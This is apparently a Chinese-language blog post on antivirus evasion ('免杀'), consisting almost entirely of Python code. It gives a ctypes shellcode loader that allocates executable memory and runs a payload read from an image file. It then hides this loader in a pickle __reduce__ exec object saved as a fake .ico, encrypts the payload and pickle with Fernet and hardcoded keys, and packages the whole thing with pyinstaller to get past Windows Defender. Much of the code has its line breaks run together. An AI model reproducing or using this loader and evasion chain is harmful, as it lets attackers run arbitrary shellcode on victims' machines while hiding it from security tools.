【免杀】一种python反序列化免杀方式

import ctypesf=open('demo.png','rb')shellcode=f.read()shellcode=bytearray(shellcode)#设置VirtualAlloc返回类型为ctypes.c_uint64ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64#申请内存ptr=ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40))#放入shellcodebuf=(ctypes.c_char *len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(   ctypes.c_uint64(ptr),   buf,   ctypes.c_int(len(shellcode)))

handle=ctypes.windll.kernel32.CreateThread(            ctypes.c_int(0),   ctypes.c_int(0),   ctypes.c_uint64(ptr),   ctypes.c_int(0),   ctypes.c_int(0),   ctypes.pointer(ctypes.c_int(0)))#等待上面创建的线程运行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

>>>from cryptography.fernet importFernet>>>#Put this somewhere safe!>>>key =Fernet.generate_key()>>>f =Fernet(key)>>>token =f.encrypt(b"Areally secret message. Not for prying eyes.")>>>token'...'>>>f.decrypt(token)'Areally secret message. Not for prying eyes.'

#pickle dumpimport pickle
shellcode="""importctypes
f= open('demo.png', 'rb')shellcode= f.read()shellcode= bytearray(shellcode)#设置VirtualAlloc返回类型为ctypes.c_uint64ctypes.windll.kernel32.VirtualAlloc.restype= ctypes.c_uint64#申请内存ptr= ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40))#放入shellcodebuf= (ctypes.c_char *len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(   ctypes.c_uint64(ptr),   buf,   ctypes.c_int(len(shellcode)))#创建一个线程从shellcode放置位置首地址开始执行handle= ctypes.windll.kernel32.CreateThread(   ctypes.c_int(0),   ctypes.c_int(0),   ctypes.c_uint64(ptr),   ctypes.c_int(0),   ctypes.c_int(0),   ctypes.pointer(ctypes.c_int(0)))#等待上面创建的线程运行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))"""

class A(object):   def __reduce__(self):       return(exec,(shellcode,))

ret=pickle.dumps(A())with open("test.ico",'wb')asimg:   img.write(ret)#pickle loadimport pickleimport ctypes#try:#    temp = open("test.ico", "rb").read()#    shellcode = pickle.loads(temp)#except Exception as err:#    print("err = {0}".format(err))#    input("123")

temp=open("test.ico","rb").read()shellcode=pickle.loads(temp)

#pyinstaller -F .defender_pickle_load.py

#-*- coding:utf-8 -*#对静态文件进行加密from cryptography.fernet import Fernet
#shellcode 加密你也可以分离免杀test_f=open('demo.png','rb')shellcode=test_f.read()shellcode=bytearray(shellcode)
test_f.close()#加密key=Fernet.generate_key()f=Fernet(key)enc_pay=f.encrypt(bytes(shellcode))print(key)print("=========")
#写入shell2.pngtest_f=open("./demo2.png","w+")test_f.write(enc_pay.decode())test_f.close()output_key="key= {0}".format(key)print(output_key)
print("f_obj= Fernet(key)")
print("shellcode= f_obj.decrypt(shellcode)")
print("shellcode= bytearray(shellcode)")

#shellcode 加密你也可以分离免杀test_f=open('test1.ico','rb')shellcode=test_f.read()shellcode=bytearray(shellcode)
test_f.close()#加密key=Fernet.generate_key()f=Fernet(key)enc_pay=f.encrypt(bytes(shellcode))print(key)print("=========")
#写入shell2.pngtest_f=open("./test2.ico","w+")test_f.write(enc_pay.decode())test_f.close()output_key="key= {0}".format(key)print(output_key)
print("f_obj= Fernet(key)")
print("temp= f_obj.decrypt(temp)")

import pickle
shellcode="""importctypesfromcryptography.fernet import Fernet
f= open('demo2.png', 'rb')shellcode= f.read()key= b'Qepn_OLOyeXP-ZmoGCgApu0AqcE35VCMwO7t_H0L5co='f_obj= Fernet(key)shellcode= f_obj.decrypt(shellcode)shellcode= bytearray(shellcode)
#设置VirtualAlloc返回类型为ctypes.c_uint64ctypes.windll.kernel32.VirtualAlloc.restype= ctypes.c_uint64#申请内存ptr= ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),ctypes.c_int(0x40))#放入shellcodebuf= (ctypes.c_char *len(shellcode)).from_buffer(shellcode)ctypes.windll.kernel32.RtlMoveMemory(   ctypes.c_uint64(ptr),   buf,   ctypes.c_int(len(shellcode)))#创建一个线程从shellcode放置位置首地址开始执行handle= ctypes.windll.kernel32.CreateThread(   ctypes.c_int(0),   ctypes.c_int(0),   ctypes.c_uint64(ptr),   ctypes.c_int(0),   ctypes.c_int(0),   ctypes.pointer(ctypes.c_int(0)))#等待上面创建的线程运行完ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))"""

class A(object):   def __reduce__(self):       return(exec,(shellcode,))

ret=pickle.dumps(A())with open("test1.ico",'wb')asimg:   img.write(ret)import pickleimport ctypesfrom cryptography.fernet importFernet
#try:#    temp = open("test.ico", "rb").read()#    shellcode = pickle.loads(temp)#except Exception as err:#    print("err = {0}".format(err))#    input("123")

temp=open("test2.ico","rb").read()
key=b'M6__BRADkFnVsgeqvLEdFXN59uesecCTctVa-k3UhTw='f_obj=Fernet(key)temp=f_obj.decrypt(temp)
shellcode=pickle.loads(temp)